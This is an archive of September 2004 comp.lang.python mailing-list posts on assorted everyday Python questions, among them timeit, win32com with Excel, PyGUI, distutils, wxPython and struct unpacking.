Sep 2004 13:19:12 -0400 Subject: Python Usage Statistics In-Reply-To: <3064b51d.0409010904.5868f141@posting.google.com> References: <3064b51d.0409010904.5868f141@posting.google.com> Message-ID: <41360490.6020902@bellsouth.net> beliavsky at aol.com wrote: >anandpillai at letterboxes.org (Anand Pillai) wrote in message news:... > > >>Hi Folks >> >> (posting after a loooong time...) >> >> I have been contracted by an Indian publisher to author an >>introductory text book on Python. As a part of the introductory >>chapter, I thought it would be a good idea to present a number, a >>round-about figure on the approximate *actual* usage of Python out >>there in number of developers and/or installations. >> >> > >See SkillMarket at http://mshiltonj.com/sm/categories/languages/ . >Polling jobs listed at dice.com , the # of job openings by language on >9/1/2004 were (in descending order) > >9216 sql >7722 java >5007 c++ >3351 vb >2508 perl >1804 assembly >1723 c# >905 cobol >838 tech writer >268 powerbuilder >266 php >225 cf (cold fusion) >189 python >150 fortran >144 ada >38 ruby > > Funny that there's no plain "C". Guess nobody's using it anymore. ;-) Jeremy -------------- next part -------------- An HTML attachment was scrubbed... URL: From adalke at mindspring.com Thu Sep 30 03:14:06 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 30 Sep 2004 07:14:06 GMT Subject: ImageWin Dib draw usage? In-Reply-To: References: Message-ID: <2nO6d.13717$gG4.11220@newsread1.news.pas.earthlink.net> Fredrik Lundh wrote: > # The Python Imaging Library. > # $Id: ImageWin.py,v 1.1 2000/05/24 13:29:09 stig Exp $ > > who's stig? > > Looks like that PIL is used by "SDS - A framework for developing software development tools." Specifically, sds/sds/sds/src/python/chartgen/pil/ in the directory tree that come from clicking on that little folder. That also leads to http://sourceforge.net/projects/sds which has developer info for 'stig'. http://sourceforge.net/users/stig/ and the above CVS repository, at http://cvs.sourceforge.net/viewcvs.py/sds/sds/src/python/chartgen/PIL/ Untouched for over 4 years. Andrew dalke at dalkescientific.com From pit.grinja at gmx.de Tue Sep 7 05:59:36 2004 From: pit.grinja at gmx.de (Piet) Date: 7 Sep 2004 02:59:36 -0700 Subject: python mysql and xml References: <4c900ea0.0409062109.391d04de@posting.google.com> Message-ID: <39cbe663.0409070159.28b77755@posting.google.com> mailtome200420032002 at yahoo.com (john) wrote in message news:<4c900ea0.0409062109.391d04de at posting.google.com>... > Hi > I have my data stored in mysql database and now I want to store them as XML. > Are there any tools or library available for this? > Thanks. Hi there, that?s a feature already built in mySQL (AFAIK). However, since both the structure of a mySQL database and of an XML file can be quite variable, when you want to have your data in a specific XML dialect I suggest that you write your own mySQL->XML conversion tool. Should be possible in less than 100 lines. BW Piet From ialbert at mailblocks.com Sat Sep 18 15:20:10 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Sat, 18 Sep 2004 15:20:10 -0400 Subject: Recommendations about xmltramp In-Reply-To: References: Message-ID: Jonas Hei wrote: > It appears to be a little bit more than that. > Check out 'Mutations and re-serialization' section at > http://www.xml.com/lpt/a/2003/12/17/py-xml.html Oh, I see, this feature was not evident from the xmltramp page. But reading the information above it appears that it is a very ad-hoc and hackish solution that might have been the reason for the negative comment that the original poster was inquiring about. Istvan. From vze4rx4y at verizon.net Thu Sep 23 02:12:14 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Thu, 23 Sep 2004 06:12:14 GMT Subject: Python in a Nutshell for Python 2.4 References: Message-ID: <2Pt4d.5568$sa.2954@trndny05> [Tuang] > Does anyone (esp. Alex, if you're listening) know if there is an > update of Python in a Nutshell coming for Python 2.4? I would say let the poor guy finish the Py2.4 Cookbook update first; afterall, he's only one man. But now there are two Martelli's on the case, so you might be in luck ;-) Raymond Hettinger From jerf at jerf.org Tue Sep 21 01:58:15 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 21 Sep 2004 05:58:15 GMT Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> <414fa1ec$0$63273$a1866201@newsreader.visi.com> Message-ID: On Tue, 21 Sep 2004 14:12:14 +1000, Ajay wrote: > if you use the service say 10 times, then the server can link those 10 > sessions together based on your MAC address. > and the server will be on the same LAN Unless your WLAN is monstrous, they can link your ten uses together by looking for the wildly changing MAC address that is only used once. You need everybody to do that for it to be any sort of defense. Have you done a decent threat analysis? What are you protecting? What is your likely attack vectors? Who cares, or rather, what kind of person will care? I don't know any of these answers and you are free to share them or not, as you are comfortable. I am curious about what information you feel you are going to leak with a static MAC address that you are not going to leak equally with wildly changing ones with only slightly more effort from whatever attacker you are worried about. Again, it is completely your choice to answer this, of course, but you have piqued my curiosity. From cjw at sympatico.ca Thu Sep 2 14:57:55 2004 From: cjw at sympatico.ca (Colin J. Williams) Date: Thu, 02 Sep 2004 14:57:55 -0400 Subject: explainations about standard library and modules in Python. In-Reply-To: References: Message-ID: <41376D33.1030405@sympatico.ca> Hung ho wrote: > Hi. > I just finished reading an introductory Python book called "Python Programming for the absolute beginner" by Michael Dawson. I found it very interesting, and easy to follow. Python does really look similar to C/C++ and Java. In the book, the author imported other modules that were from the standard library of Python. I tried reading some of the modules in the standard library in Python's Lib folder. I'm just a beginner to Python, and didn't understand anything in any of the modules. > My question is that, can anyone recommend me any book, or online materials that could explain what the functions some of the modules in the standard library can do that are packaged along with Python v. 2.3.4?. For example, I read some modules such as os.py, sys.py, and random.py The documents in those modules didn't help me to comprehend what the purpose of the modules, and how to use them in Python. What are their functions, and how do I use them. > Thank You. For someone who has previous programming experience, Alex Martelli's Python in a Nutshell is an excellent reference. Colin W. From jdhunter at ace.bsd.uchicago.edu Wed Sep 29 16:05:07 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Wed, 29 Sep 2004 15:05:07 -0500 Subject: datetime strftime methods require year >= 1900 In-Reply-To: <_1C6d.23441$35.1195951@news4.tin.it> (Anna Martelli Ravenscroft's message of "Wed, 29 Sep 2004 17:12:26 GMT") References: <_1C6d.23441$35.1195951@news4.tin.it> Message-ID: >>>>> "Anna" == Anna Martelli Ravenscroft writes: Anna> Why would you need to use strftime, if you've already got a Anna> year? >>>> print dt.year Anna> 1005 That was just a simple-minded example. I need the ability to handle general format strings over the range of datetime dates. JDH From lbates at swamisoft.com Wed Sep 8 10:05:00 2004 From: lbates at swamisoft.com (Larry Bates) Date: Wed, 8 Sep 2004 09:05:00 -0500 Subject: A historical question References: Message-ID: Unless I'm mistaken it is nearly impossible to "execute" any software without translating the source into some intermediate (read bytecode) set of tokens and operators. All interpreters must parse the source code and create some structured representation (even if it is only internal) that is normally VERY different from the source code itself. Some interpreters never save out this "byte code", but it exists nevertheless. Larry Bates Syscon, Inc. "Jerald" wrote in message news:chmphe$21tc$1 at ulysses.noc.ntua.gr... > Hi. > > I'd like to know when python started working with bytecode. > It seems natural that in the first python implementations > code was really interpreted : executed directly. > > As a result, in the first days, when the py-programmer > said: > > def foo (): > print 'foo' > > python stored the function body and executed it each time > foo was called. In some time it was decided to compile > this to bytecode, optimize it and call the bytecode instead. > > Is it so? > > I am very curious. > > > Gerald From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Thu Sep 23 07:18:35 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Thu, 23 Sep 2004 12:18:35 +0100 Subject: Iteration style In-Reply-To: References: Message-ID: Abdullah Khaidar wrote: > Is there any iteration style we must use to get faster processing > time? Yes, definitely this one: >>>>def useJoin(): > > list = [str(element) for element in range(5)] > return "".join(list) You aren't going to get the right results from your getTimer() function because you are just timing putting the function object on the stack, rather than actually calling it. >>>>def getTimer(): > > from timeit import Timer > t1 = Timer("useListIteration", "from __main__ import > useListIteration") should be t1 = Timer("useListIteration()", "from __main__ import useListIteration") > print "Using list iteration: ", min(t1.repeat()) Of course now that you are actually calling a function, it should take a lot longer, so repeating it 3 * 1,000,000 times is way too many. I would change the number of integers you are concatenating from 5 to 1000 and run Timer.timeit(number=100) (repeats 3 * 100 times) instead. >>> getTimer() Using list iteration: 0.751999855042 Using normal iteration: 0.766999959946 Using join: 0.446000099182 HTH, -- Michael Hoffman From adalke at mindspring.com Mon Sep 6 16:16:57 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 06 Sep 2004 20:16:57 GMT Subject: Lager'd Statistics on language migration In-Reply-To: References: <2ae25c6b.0409050132.4ce24330@posting.google.com> <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com> <864d37090409060733cc54023@mail.gmail.com> Message-ID: Alex: > Can you point out some specific behavior, some language-design choice, > where Ruby is farther away from Perl than Python is? Everything is derived from a base object type in Ruby. Defintely not in Perl, while in Python things are moving more and more that way. Ruby started off (from what I can tell) with automatic widening of platform ints into bignums. Python more recently did that, while Perl doesn't. Andrew dalke at dalkescientific.com From riabuilder at yahoo.com Thu Sep 30 17:42:42 2004 From: riabuilder at yahoo.com (RIA Builder) Date: 30 Sep 2004 14:42:42 -0700 Subject: Question: tools for business apps development References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <2qavr3Ft7dgdU1@uni-berlin.de> <2qb2tmFt7dgdU2@uni-berlin.de> <10k2rng56uh2f64@corp.supernews.com> Message-ID: <5fc300a4.0409301342.20f545ce@posting.google.com> hm..., there is the answer for you folks... try IAB Studio from worcsnet.com the demo application is available at www.iabstudio.com with IBA Studio you do not have to worry about coding, just think about the business that you want to implement. just go to www.iabstudio.com and try it by yourself. regards.. Larry Bugbee wrote in message news:<10k2rng56uh2f64 at corp.supernews.com>... > >> -- It's too glitzy :-) Yes, it may be a problem for people used to > >> design apps the old way. It's funny to note that Windows apps are not > >> much different from old text apps, as far as the structure of the > >> dialogs and windows is concerned. Everything is a rectangle. Flash > >> frees you of this kind of limitation. This kind of freedom can be > >> frightening for old timers (such as me). > > > > > > :) By any measure, I'm an old-timer as well. > > FWIW, I have removed Flash as have some other folks I know. The reason > is because we do not multi-task and cannot read the page with all the > flashing and movement. ...removed because there is no option to disable > (yes, there are now a couple of Firefox extensions). > > Just because there may be a large percentage of browsers with Flash, > there is still a large number (raw count) that don't and won't. > > If a rich client is what you are after, consider XUL in conjunction with > css, javascript and your favorite language. A web site can serve XUL, > the XUL can be distributed as a browser extension, or the XUL can be > packaged as a double clickable app. It is a whole heck richer than HTML > without the unintended side-effect annoyances caused by Flash. > http://xulplanet.com/tutorials/whyxul.html > http://www.mozilla.org/projects/xul/ > > Oh, I too have silver hair. :-) > > Larry From q852913745 at aol.com Mon Sep 13 14:29:52 2004 From: q852913745 at aol.com (Q852913745) Date: 13 Sep 2004 18:29:52 GMT Subject: Newbie: tuple list confusion. References: Message-ID: <20040913142952.05710.00004640@mb-m14.aol.com> Thanks for the information, it's beginning to make sense to me. From squirrel at WPI.EDU Thu Sep 2 08:31:08 2004 From: squirrel at WPI.EDU (Christopher T King) Date: Thu, 2 Sep 2004 08:31:08 -0400 Subject: How to learn to use python with Excel In-Reply-To: <9048dfd6.0409011402.51f0bc66@posting.google.com> References: <9048dfd6.0409011402.51f0bc66@posting.google.com> Message-ID: On 1 Sep 2004, Xiao-Qin Xia wrote: > I don't like VBA, and want to use python to work with Excel. Does > anybody recommend some good documents to begin with? As a quick-start example, this Python: from win32com.client import Dispatch excel = Dispatch("Excel.Application") is equivalent to this VB: Dim excel As Application excel = CreateObject("Excel.Application") After that, some calls even look identical: ws = excel.ActiveSheet eqv. to: Dim ws as Worksheet ws = excel.ActiveSheet Any differences (I can't think of any off the top of my head) will likely be found through trial and error... one major difference is that, in addition to properties, VB doesn't want parenthesis after Sub calls (functions of no arguments), whereas Python does. Fortunately it's pretty easy to tell with Python; you'll either get a function object or an error if you guess wrong (as I may have above). win32com is included in the ActiveState distribution; if you otherwise don't have it (unlikely), you can download it at http://www.python.org/windows/win32com/. Hope this helps. From peter at somewhere.com Tue Sep 21 10:14:08 2004 From: peter at somewhere.com (Peter Maas) Date: Tue, 21 Sep 2004 16:14:08 +0200 Subject: python is going to die! =( In-Reply-To: <414e290d$1@news.unimelb.edu.au> References: <414e290d$1@news.unimelb.edu.au> Message-ID: Maurice LING schrieb: > Languages don't die, dying is a personified concept. Languages are just > less use or more used. I'm sure the o.p. had this in mind when choosing the subject. > > Is latin dead? Think again, the term "doctor" is latin. All your medical > doctors have MBBS (Medicus Baccalaureus, Bachelor of Surgery)... If youre are too modest chances are that you get what you want. "No, Python isn't dead. Just look at all the defs and yields." ;) -- ------------------------------------------------------------------- Peter Maas, M+R Infosysteme, D-52070 Aachen, Tel +49-241-93878-0 E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64') ------------------------------------------------------------------- From lynn at garlic.com Thu Sep 2 09:12:21 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 02 Sep 2004 07:12:21 -0600 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <86mdj05ucclb3tqjqgevum54o7k8jt2msq@4ax.com> Message-ID: rpw3 at rpw3.org (Rob Warnock) writes: > Those were also PDP-10 Monitor commands, and probably PDP-6 Monitor > before that. there may have been a little bit of common tracing back to the ctss days ... however recent posting about him using cp/cms at npg when he was writing pl/m http://www.garlic.com/~lynn/2004h.html#40 Which Monitor Would You Pick???? -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From P at draigBrady.com Mon Sep 6 12:49:39 2004 From: P at draigBrady.com (P at draigBrady.com) Date: Mon, 06 Sep 2004 17:49:39 +0100 Subject: Linux application deployment In-Reply-To: <1gjop9c.1sw65nmxbjrz4N%aleaxit@yahoo.com> References: <413B2D73.3010106@cs.com> <1gjop9c.1sw65nmxbjrz4N%aleaxit@yahoo.com> Message-ID: <413C9523.9060302@draigBrady.com> Alex Martelli wrote: > Robert M. Emmons wrote: > ... > >>One thing I've always wonders was -- Is there a way for a python module >>to tell where it's file is located??? If you could do this it might > > > Piece of cake: the key part of this recipe is > def whereami(): return sys.modules[__name__].__file__ > then you can os.path.abspath this filename string as you wish. That only seems to work for python 2.3 or later One thing to consider when wondering where to put system wide modules is that you have to worry about the python version changing underneath you. This is because *.py[oc] are not compatibile across minor version changes. I.E. if one has pyc files in /usr/lib/site-python and python 2.3 is installed subsequently on the system then the modules probably will cause problems. That is why py[co] files are installed in version specific directories like: /usr/lib/python2.2/site-packages/app/ P?draig. From aleaxit at yahoo.com Sun Sep 26 13:48:15 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 19:48:15 +0200 Subject: Electronic voting feasibility References: <653b7547.0409181444.41e0d131@posting.google.com> <653b7547.0409201633.5216dfef@posting.google.com> <653b7547.0409211847.931e78d@posting.google.com> <4156F365.8020405@holdenweb.com> Message-ID: <1gkqjzo.f7rkby27bq2jN%aleaxit@yahoo.com> Steve Holden wrote: > I am also much more tolerant of rule breakage when I see evidence that > the correspondent knows that the rules *are* - rules are, after all, > made to be broken. The Code is more what you'd call guidelines than actual rules... Alex From aleaxit at yahoo.com Thu Sep 16 09:05:36 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 15:05:36 +0200 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> Message-ID: <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> Neil Hodgson wrote: ... > > Clearly it's not happening. Even third-world countries with HUGE ... > Much of development staff at theKompany are located in Romania and > Ukraine. I've worked on development tool projects where most of the software > was developed in Egypt and India although the brand on the products appeared > USAn. So I was wrong -- it's happening all right, but tends to be disguised (perhaps for marketing reasons). Thanks for the info! Alex From scook at elp.rr.com Sun Sep 5 11:11:52 2004 From: scook at elp.rr.com (Stan Cook) Date: Sun, 05 Sep 2004 15:11:52 GMT Subject: Dbase Connection References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> <2ae25c6b.0409050130.582eb27f@posting.google.com> Message-ID: Thanks. I'll give it a look. "Paddy McCarthy" wrote in message news:2ae25c6b.0409050130.582eb27f at posting.google.com... > "Stan Cook" wrote in message news:<3Jp_c.15967$Xi.2705 at fe1.texas.rr.com>... > > Does anyone know how or what I can use to open, read and extract data from a > > dbase database? I haven't found anything of much use with accompanying > > documentation. > > Open Office can open DBase files, and Open Office has Python > scripting. > > Googling for dbf2csv gives many hits. If you can use one of those > programs then you could use the excellent CSV Python module in > processing the resultant csv file. > > Hope it helps, Paddy. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.749 / Virus Database: 501 - Release Date: 9/1/04 From godoy at ieee.org Wed Sep 15 00:31:32 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 15 Sep 2004 01:31:32 -0300 Subject: up with PyGUI! References: Message-ID: Skip Montanaro writes: > Jorge> Indeed... But first, I'm curious about how it looks. I don't > Jorge> understand why people make GUI projects without any screenshot > Jorge> available on their own website. How can we see how it looks > Jorge> without downloading, it? > > On Unix and Windows it looks like any GTK app. On MacOSX I presume (haven't > tried it there yet) it looks like any other Mac app. This is why I think screenshots are important: you wouldn't presume nothing you would see if they do look like other Mac apps or not. That was the point I raised on my first message. And it accepts either GTK1 and GTK2? (I don't remember the description right now... I'll look up in a while.) Does it accept GTK on Windows? Or it doesn't run in Windows at all for now? -- Godoy. From bokr at oz.net Wed Sep 15 18:04:12 2004 From: bokr at oz.net (Bengt Richter) Date: 15 Sep 2004 22:04:12 GMT Subject: .py as executable extension on windows References: Message-ID: On Wed, 15 Sep 2004 16:45:41 -0400, Tim Peters wrote: >[Achim Domma] >> is there a way to tell windows, that *.py files are executable, like >> .bat, .js, ...? If I have someTool.py somewhere in my path I would like >> to type only 'someTool param1 param2'. Is that possible? > >Not on a command.com system (95/98/ME). On a cmd.exe system >(NT/2K/XP), go to a DOS box and type > > ftype /? > >Skip down to the part explaining PATHEXT. I'd forgotten where that was explained. Thanks. The OP might also want to know that NT/2K/XP is not a guarantee of full satifaction, (as you know ;-). I.e., note that some versions (e.g. NT4.0) of windows don't do i/o redirection properly for output generated by a script invoked via extension association. IOW, e.g., someTool param1 param2 > result.txt may give you an empty result.txt. Same for piping either input or output. This is not a python problem. The same will happen for perl (and super-weird hacks have been attempted to work around it IIRC ;-) So if you want to redicrect i/o on such windows versions, you will have to run the scripts explicitly as arguments to the python interpreter, e.g. python someTool.py param1 param2 > result.txt and you will need to specify a full path to someTool.py if you are not in the same directory. For stuff you use a lot, you will probably wind up writing someTool.cmd (whose ouput will be redirectable) as a one-line invocation of python and someTool.py (passing through all cmd line args). E.g., @python c:\pywk\ut\ppcomp2.py %* starts a little utility for me, which I invoke as ppcomp -- which runs ppcomp.cmd in c:\util -- which is on my session's path for the os's finding executables. IIRC there's also a way to rename .py to .cmd and put a tricky first line in to fake unix sort of and invoke python to interpret the rest as python, but I'm repressing memory of the details ;-) I guess newer windows versions don't have this problem so much, but it's worth knowing, so you can recognize the symptom when it happens. Regards, Bengt Richter From peter at engcorp.com Tue Sep 14 07:34:51 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 07:34:51 -0400 Subject: [WX] wxRadioBox and change choice In-Reply-To: References: Message-ID: Michele Petrazzo wrote: > I create a widget like this: > self.rb_method = wxRadioBox(choices=['choice1', 'choice2'], id=-1, > label='Method', name='rb_method', parent=self, point=wxPoint(8, 320), > size=wxSize(168, 72), style=wxRA_SPECIFY_COLS,) > > I want to change choice (the choice' labels) in runtime use, so in my > code, choice1 -> test1, choice2 -> test2 > The wxRadioBox have Setlabel method, but it only change the "title", not > the choices. > Is it possible to do it? Or I must destroy and recreate the widget? The documentation (specifically the wxWindows reference) says this under SetLabel, which in C/C++ is overloaded to allow this: wxPython note: In place of a single overloaded method name, wxPython implements the following methods: SetLabel(string) Sets the radiobox label. SetItemLabel(n, string) Sets a label for a radio button. -Peter From greg at cosc.canterbury.ac.nz Fri Sep 17 02:08:29 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 17 Sep 2004 18:08:29 +1200 Subject: PyGUI installation warnings are ignorable (Re: up with PyGUI!) In-Reply-To: References: Message-ID: <414A7F5D.8050503@cosc.canterbury.ac.nz> Joe Laughlin wrote: > I tried to build PyGui and I got.. > > package init file 'GUI/Generic/__init__.py' not found (or not a regular > file) > package init file 'GUI/Mac/__init__.py' not found (or not a regular file) > package init file 'GUI/Gtk/__init__.py' not found (or not a regular file) Ignore those messages! It has been installed. Trust me. (I really will have to do something about that... it seems to be scaring a lot of people.) -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From __peter__ at web.de Sat Sep 18 05:13:49 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 18 Sep 2004 11:13:49 +0200 Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: Message-ID: Daniel Dittmar wrote: > And if will be pronounced > - mouche (= french for beauty spot): if you like the syntax Mouche ou moche - c'est la question. But wait, that's not Dutch... Peter From whereU at now.com Sun Sep 19 16:50:10 2004 From: whereU at now.com (Eric Pederson) Date: Sun, 19 Sep 2004 12:50:10 -0800 Subject: Documentation? file/open with tea Message-ID: <20040919125010.1106007492.whereU@now.com> "Thomas D'Tak" wrote: > Python's documentation on 'open()' (resp. 'file()') says, that the first > two arguments are the same as for C's stdio's 'fopen()'. And on Windows > you will often find that fopen() supports 't' as a mode extension (like > the well known 'b' for binary mode): > > 'b': open file in binary (untranslated) mode > > 't': open file in text (translated) mode; > (e.g. look for Ctrl-z as EOF marker) > > Links: > > Python's file() resp. open(): > http://www.python.org/doc/2.3.4/lib/built-in-funcs.html#built-in-funcs > > (E.g.) Visual C++'s fopen(): > http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_fopen.2c_._wfopen.asp > > HTH, Th. Thanks everyone... HTH? Yes, it really does, providing the great hint that the code I am looking at right now may have been largely Windows oriented... and may not be UNIX ready. Thanks! Eric ::::::::::::::::::::::::::::::::::: domainNot="@something.com" domainIs=domainNot.replace("s","z") ePrefix="".join([chr(ord(x)+1) for x in "do"]) mailMeAt=ePrefix+domainIs ::::::::::::::::::::::::::::::::::: From aleaxit at yahoo.com Sat Sep 18 04:53:21 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 18 Sep 2004 10:53:21 +0200 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: Message-ID: <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> Francesco Bochicchio wrote: ... > layer). The real challenge is to make the devlopers of the various > extensions agree on the 'best' GUI API. Even though a while ago I participated in the design of AnyGUI's API, I believe Greg has the makings of a better API in PyGUI. And if you can get one designer of a "competing" API to say that, there may be some hope for a wider consensus;-). A meta-consensus should be on the point that we need a Benevolent Dictator, rather than pure design-by-committee, for this API -- Magnus roughly played that BD role for AnyGUI, and Greg would be the natural candidate for BD of a GUI based on PyGUI. The DB API has a committee approach, but, while that may make it easier to reach consensus, it does have its downsides. A BD can ensure progress at a more sensible pace and architectural integrity. The fact that applications using the DB API are a mess to make portable, because of the DB API's "politically abstruse compromise" to allow DB modules to adopt very different parameter substitution syntaxes, is an example of what I have in mind... Alex From rkern at ucsd.edu Mon Sep 6 18:45:01 2004 From: rkern at ucsd.edu (Robert Kern) Date: Mon, 06 Sep 2004 15:45:01 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: References: <20040901221925.2128958333.EP@zomething.com> Message-ID: Mark Hahn wrote: > On Wed, 1 Sep 2004 22:19:25 -0800, EP wrote: > > >>Jeremy Bowers commented: > > >>If you can't come up with a good name, use a letter and symbol or >>three (but no more than 3), e.g. C, C++, C#. Such will be >>non-objectionable, but will not help you in getting your >>language/technology adopted, or even remembered. > > > Well, I gave up on coming up with a good name so I'm taking your advice and > using DX, for Dynamic Xml language. I'd be cautious about that. "dynamic xml" googles up a large number of hits. > I had a number of cute names like > groovy but I just couldn't stand the thought of a cute name. I also had > acronyms like UDXL but that would get lost in the sea of acronyms. So my > web-site will be dx-lang.org and all will be well. > > Does anyone know of any conflicts for DX? Any existing software projects? > Any languages? I know all about all the ham radio stuff but I assume that > is a non-issue. There's IBM's Data Explorer (DX) although its most recent incarnation has been released as an open source project under the name OpenDX. -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From peter at engcorp.com Thu Sep 23 12:33:28 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 Sep 2004 12:33:28 -0400 Subject: struct.unpack() and bit operations In-Reply-To: References: Message-ID: <0d-dncYmRJRFZ8_cRVn-uA@powergate.ca> mikeSpindler wrote: > THANKS FOR THE HELP ON MY LAST INQUIRY! AWESOME ANSWERS. > > I am reading in from a binary file data that is formatted as 32 * > 16-bit words. So when I read it in I'm apparently not getting or > addressing correctly the upper 16-bits (since I have no choice but > read 32-bit elements - right?). You can read any amount of data that you want, including bytes. Use read(n) where n is the number of bytes to grab. > Is there an easier way to either get 16-bit "unpacks" or grab the > upper 16-bits with success? Not sure why you're having troubles: there are many ways of unpacking stuff using struct, and it will handle bytes, words (16-bit values), and 32-bit values, with the two popular variations on the endianism of the data handled, and other things. > Here's what I'm trying: > > mask0 = 1111111100000000 > mask1 = 0000000011111111 > > pdr32 = struct.unpack('%si' % (itemsize/4), pdrData.read(itemsize)) Does pointing out that there is an "h" specified in addition to "i" help you? In the docs, "short" refers to a 16-bit value. -Peter From jacques.coeurs at laposte.net Wed Sep 8 03:11:51 2004 From: jacques.coeurs at laposte.net (jack) Date: 8 Sep 2004 00:11:51 -0700 Subject: hex value in string back to real hex value References: <106645cc.0409070847.40b87e6e@posting.google.com> Message-ID: <106645cc.0409072311.2b876a2@posting.google.com> Thanks, The solution provided by phil and peter works perfectly for my solution (and I will have to work a little more to understand them fully). I will check the binascii. Regards. Jack. Phil and peter Peter Otten <__peter__ at web.de> wrote in message news:... > jack wrote: > > > I get in a program an hexa value codes in a string for example \xe7 > > which correspond to a french character. > > > > The string would be "\xe7t\xe7" and I want to write in a file ?t? and > > not \xe7t\xe7. > > "\xe7t\xe7" _is_ the same as "?t?" if you are using e. g. the ISO-8859-1 > encoding, so chances are you will see ?t? if you open the file in a text > editor without the need of prior conversions. > > But I may be misunderstanding you and you really have "\\xe7t\\xe7" - in > that case you can use de/encode to switch between the two representations: > > >>> "?t?".encode("string_escape") > '\\xe9t\\xe9' > >>> _.decode("string_escape") > '\xe9t\xe9' > >>> print _ > ?t? > > (In the interpreter the result of the previous calculation is assigned to _ > if it is not None) > > Peter From aleaxit at yahoo.com Sun Sep 26 16:03:12 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 22:03:12 +0200 Subject: Python in a Nutshell for Python 2.4 References: <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com> <1gkmz7p.8s0hno1ug9eq4N%aleaxit@yahoo.com> <2rogjeF1bkmniU1@uni-berlin.de> Message-ID: <1gkqqen.98gwlm1lgn5fnN%aleaxit@yahoo.com> Cousin Stanley wrote: > > Unfortunately, with O'Reilly having rejected it, I'm not sure what other > > publisher, if any, is enough "into" Mac _and_ Python. So for now I'm > > giving precedence to 2nd editions of Cookbook and Nutshell...! > > > > Alex .... > > Maybe you could cut out the middle man, e.g. Cousin O'Reilly, ... > mac_py = AM_Publishing( 'Mac Python in a NutShell' ) > > This exercise in *desktop publishing* might be worthy > of a book in itself .... I suspect O'Reilly Media's trademark for "in a Nutshell" in book titles would put me in trouble. Still, sure, I could go for a different title and self-publish, if I disagreed with ORM's assessment of the market chances enough to be willing to risk it. I _am_ considering this possibility, of course. But it seems a bit far-fetched. Alex From Mark.English at liffe.com Wed Sep 22 05:48:41 2004 From: Mark.English at liffe.com (Mark English) Date: Wed, 22 Sep 2004 10:48:41 +0100 Subject: Distutils and binaries without compilation Message-ID: <40E605146701DE428FAF21286A97D3091744B3@wphexa02.corp.lh.int> Who to believe... First I got this which made me think twice > From: Jorgen Grahn > I skipped the details, but if 'bdist' doesn't create an archive which includes the .pyd files, > you've made an error in setup.py. And then this which made me carry on coding up a solution of sorts > From: Thomas Heller > You have two choices, imo: > - hack/extend distutils to do what you want > - go the easy route, and write a simple script which creates > a zipfile for you. ----------------------------------------------------------------------- The information contained in this e-mail is confidential and solely for the intended addressee(s). Unauthorised reproduction, disclosure, modification, and/or distribution of this email may be unlawful. If you have received this email in error, please notify the sender immediately and delete it from your system. The views expressed in this message do not necessarily reflect those of LIFFE Holdings Plc or any of its subsidiary companies. ----------------------------------------------------------------------- From jeff at ccvcorp.com Wed Sep 1 19:53:28 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 01 Sep 2004 16:53:28 -0700 Subject: multipart/form-data in an HTTP client In-Reply-To: <87acw9oec3.fsf@pobox.com> References: <10jc6ua32ccht5e@corp.supernews.com> <87acw9oec3.fsf@pobox.com> Message-ID: <10jco53tccmjk22@corp.supernews.com> John J. Lee wrote: >Jeff Shannon writes: >[...] > > >>I've been using something closely modelled on that Cookbook recipe, >>without any real problems. (I've updated it to use >>HTTP[S]Connection() and return the response object, and in my case I'm >>connecting to an HTTPS server, but these are trivial modifications.) >> >> >[...] > >Have you published your function? If not, please do. > > Here it is, for what it's worth. (Hopefully my mailer won't mangle the indentation...) As I noted, the differences between this and the Cookbook recipe are minimal -- I literally copied the recipe 